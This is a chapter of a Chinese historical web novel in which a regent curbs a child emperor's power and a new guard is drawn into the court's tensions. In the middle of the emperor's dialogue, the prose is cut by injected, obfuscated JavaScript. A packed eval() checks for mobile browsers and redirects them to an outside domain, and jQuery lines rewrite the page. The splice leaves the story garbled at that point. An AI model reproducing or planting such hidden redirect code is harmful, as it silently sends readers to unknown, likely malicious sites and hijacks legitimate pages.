星夜兼程的疲惫被王府高耸的朱门隔绝在外。
宇文尚带着一身风尘与未愈的伤,甫一踏入摄政王府,便径直走向书房。
紫檀木大案上堆积如山的奏报和密函,昭示着权力中心片刻的松懈都可能引发动荡。
他甚至未换下沾染泥泞的靴履,只扯下墨色大氅扔给侍从,
便坐到了案后。
“去宫里,”他声音带着长途奔波的沙哑,却冷硬如铁,
“请陛下来王府‘叙话’。就说孤要考校近日功课,闲杂人等免入。”
宇文尚的语气带着不容置疑的命令味道。
侍卫长李莽躬身领命,疾步而去。
褚良作为新晋摄政王侍卫,被安排在书房院落的二门外值守。
王府的森严与雍容让人倍感拘谨。
他挺直脊背,手握刀柄,领口和袖口依旧系得一丝不苟,目光警惕地扫视着幽深的回廊。
在这王府森严之地,那要命的秘密更不能有丝毫松懈。
约莫半个时辰后,一乘低调的青呢小轿在王府侧门停下。
年仅十一岁的小皇帝宇文珏独自一人下了轿,身后跟着一个面白无须、神色惶惶的老太监。
没走几步,老太监就被王府侍卫客气而强硬地拦在了二门外。
宇文珏穿着明黄色的常服,身形单薄,小小的脸上努力维持着属于帝王的庄重。
他下意识地环顾四周,目光掠过值守的侍卫时,在那陌生而俊朗的脸上停留了一瞬,心中飞快闪过一丝念头,这人就是皇叔在围场遇险时,一箭射杀猛虎的那个外围士卒?皇叔竟将他带回了王府,还放在身边……
只是一闪念,宇文珏很快便收回了好奇和审视的目光,他深吸一口气,挺起单薄的胸膛,独自一人,一步步走向皇叔的书房。
褚良的目光在小皇帝走后,才敢落在对方身上。
那稚嫩的身影在空旷威严的回廊里显得格外孤寂弱小。一股对至高皇权的天然敬畏油然而生,褚良下意识地屏住了呼吸,垂下视线。
几乎同时,另一个念头不受控制地浮现,这就是皇帝么?似乎远不如书房内那位摄政王令人心生敬畏。
但,下一刻,褚良就意识到自己的想法是多么大不敬,他忙收敛心神,恭敬地垂首侍立。
书房内,烛火摇曳。
宇文钰进门之后,宇文尚并未起身,他的左臂搁在扶手上,
只随意指了指下首的座位,动作带着明显的迟滞。
“坐吧。”
他对自己的皇帝侄儿说道。
宇文珏依言坐下,双手规规矩矩地放在膝上,指尖微微蜷缩。
“《帝范》读到何处了?”宇文尚声音平淡,听不出喜怒,修长的手指随意翻着案上的一本奏折。
宇文珏小心地回答:“回皇叔,读到‘纳谏篇’。”
“哦?”宇文尚抬眼,凤眸似笑非笑,“那说说,何为纳谏?纳何人之谏?”
小皇帝努力回忆着太傅的讲解,
“纳谏……是广开言路,听臣下之言……择善而从。”
“择善而从?”
宇文尚轻笑一声,放下奏折,身体微微前倾,无形的压力瞬间笼罩,“善与不善,由谁而定?是听那些皓首穷经、只会空谈道德的老学究?还是听那些纸上谈兵、不知朝堂深浅的莽夫?”
他的声音不高,却字字如针,扎在宇文珏心上。
小皇帝的脸色微微发白,不敢接话。
宇文尚端起茶盏,慢条斯理地撇着浮沫,语气愈发幽深,
“陛下年幼,正是需要明师教导、良臣辅弼之时。可惜啊……”
他顿了顿,目光如实质般落在宇文珏脸上,“有些人,倚老卖老,迂腐冥顽,只会用些陈词滥调误导圣听。还有些人,仗着几分祖荫,行事鲁莽冲动,全无大局之观。这等人物留在陛下身边,非但无益,反而有害。”
宇文珏的心瞬间提到了嗓子眼,手心全是冷汗。
他已猜到皇叔所指何人。
“故而,”宇文尚放下茶盏,发出一声轻响,却震得小皇帝抖了抖。
“为了陛下能专心学业,不受干扰,孤已替陛下做了主。”
“太傅陈老大人年事已高,孤已准其致仕,回乡颐养天年。至于镇北侯世子……”
他嘴角勾起一抹冰冷的弧度,“年轻人血气方刚,留在京中易生是非,孤已向陛下请旨,调他去西疆历练,为国戍边,正合其才。”
宇文珏只觉得一股寒气从脚底直冲头顶!
陈太傅是他最信任的老臣之一,镇北侯世子更是他偷偷联络、许诺将来重用的年轻勋贵。
皇叔竟如此轻描淡写,就将他们一个“荣养”,一个“发配”。
无异于赤裸裸的威胁警告,褫夺皇权!
宇文钰单薄的身体抑制不住地微微颤抖,强忍着眼眶里打转的泪水,深沉恐惧和恨意几乎要将他淹没。
他知道,自己的一举一动,从未逃过皇叔的眼睛。
他虽贵为帝国的皇帝,却没有任何权利和自由可言,他被看得死死的!
“皇叔……处置得是。”宇文珏带着颤音回复。
宇文尚当然看出他的不满,但始终面上含笑,
“本王也是为了陛下着想,陛下能明白就好。天色不早了,回宫去吧。功课不可懈怠。”
书房门打开,宇文珏低着头,脚步虚浮地走了出来。
他眼眶通红,在背过身的一刻,泪水再也忍不住,大颗大颗地滚落,却死死咬着下唇不让自己哭出声。
他越走越快,瘦削的、仓皇的身影正撞上守在二门外的褚良的目光。
褚良心中一震。
他方才在门外,虽听不清具体言语,但宇文尚那偶尔提高的、冰冷的训斥声,让他这个局外人都感到心惊。此刻亲眼见到小皇帝这副泪流满面、如同惊弓之鸟的模样,更让他清晰地感受到了摄政王那令人窒息的绝对权威。
一个十一岁的孩子,被如此对待……褚良心中涌起一股复杂的情绪,既有对皇权的敬畏,又有对弱者的本能同情。
宇文珏看到那侍卫,忙擦掉眼泪,地头快步走过,却在转弯时,不慎撞到门框。
褚良忙伸手去扶,小皇帝得亏没有跌倒,但腰间的香囊却掉落,滚到了褚良脚边。
褚良立即单膝跪地,恭敬地拾起那绣着盘龙的香囊,双手奉还,“陛下,您的香囊。”
宇文珏泪眼朦胧地看向褚良。
是那个皇叔的“救命恩人”,奇怪的是,不同于其他侍卫,他对自己竟十分亲近。
仇恨和屈辱让一个念头如迅速闪过……
努力挤出刻意温和的笑容,小皇帝伸手拍了拍褚良奉着香囊的手背,
“多谢。” 他没有接过香囊,反而将其轻轻推回褚良手中,
“这个赏你了。今日让你见笑了。” 语气里那种未脱孩童的脆弱和委屈让褚良受宠若惊,也十分心疼,
“卑职不敢!此乃御用之物……”
他低下头,不敢领赏。
“孤说赏你,便是你的。”
宇文珏语气带着一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16356370|183634||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
种不容推拒的坚持,深深看了褚良一眼。
说完,不再停留,挺直单薄的脊背,快步离去,留下褚良握着明黄的香囊,怔在原地。
小皇帝离开后,宇文尚紧绷的神经松懈下来,他强撑着批阅了几份紧要军报,额角已渗出细密的冷汗,脸颊也泛起不正常的潮红,左臂的伤处更是传来阵阵灼痛。
“传太医。” 他靠在椅背上,声音明显虚弱了几分。
太医很快被请来,诊脉后确认是外伤感染引起的高热。
药很快煎好送来,宇文尚皱着眉头灌了下去。
药效发作很快,高热稍退,但那股由内而外的燥热烦闷感却如同跗骨之蛆,挥之不去,左臂伤处的灼痛感在燥热下也愈发明显。
“王爷可感觉好些?” 太医小心询问。
宇文尚闭着眼,眉头紧锁,烦躁地挥挥手。
太医不敢多言,退到外间守候。
宇文尚躺在榻上,迷蒙间,忆起之前敷在伤口上的清苦微辛气息,还有直达筋骨的沁凉,定然比这汤药带来的昏沉,更能缓解他的不适。
“召他进来。” 他忽然开口,声音带着高热后的沙哑。
守在门外的侍卫长即刻应声,“卑职在。”
宇文尚半阖着眼,不耐烦的说,“不是你,是那个围场侍卫,叫他过来给我敷草药。”
侍卫长李莽眸色一沉,却不敢怠慢,忙去吩咐褚良。
二门外的褚良听说之后,也是一愣,他心中疑虑,他所用的草药皆是野地里应急之物,怎能与太医院的名贵药材相比。
看他迟滞不动,侍卫长瞠目斥道,
“还不快去,迟了小心掉脑袋!”
褚良不敢耽搁,立刻趁着夜色出了王府。
京城不比围场,他费了好一番功夫,才在城郊野地找到几株草药。等他带着沾满夜露的草药回到王府小厨房,已是后半夜。
侍卫长又请太医仔细查验并无异样后,这才放他进来。
褚良小心翼翼地洗净草药,在石臼中细细捣烂,碧绿的汁液散发出熟悉的清苦微辛气息。
当他捧着盛着药糊的青瓷小碗,穿过寂静的回廊走向书房时,却又在廊下被侍卫长李莽拦住了。
李莽上下打量着褚良沾着泥点的裤脚和手中的粗瓷碗,眼中带着毫不掩饰的轻蔑,
“别以为弄些小花招讨好主子,就能一步登天。”
褚良抿紧唇,没有反驳,只是将药碗护得更紧了些。
李莽看他并不接话,只得冷哼一声,本想再说几句警告的话,书房内却传来宇文尚不耐的声音,“药呢?磨蹭什么!”
李莽脸色一变,悻悻地让开。
褚良深吸一口气,推门而入。
书房内烛火明亮。宇文尚显然刚准备换药,他背对着门口,玄色中衣褪至腰间,露出精壮的上半身。
宽肩窄腰,肌肉线条流畅而充满爆发力,如同矫健的猛兽。最令人目眩的是他那头披散下来的长发——并非纯黑,在烛火映照下,流淌着一种深邃神秘的墨紫色光泽,与他冷白如玉的肌肤形成惊心动魄的对比。
这具身体是力量与美的极致结合,却笼罩着一种如同暗夜修罗般诡秘危险,极具侵略性的气场。
褚良的脚步瞬间被钉在原地,呼吸一窒,竟看得有些失神。
“杵着作甚?”
似乎察觉到身后的视线,宇文尚并未回头,声音带着一丝病中的慵懒和惯有的威严。
褚良猛地回神,慌忙低下头,脸颊烧得滚烫,声音干涩,“王爷,药好了。”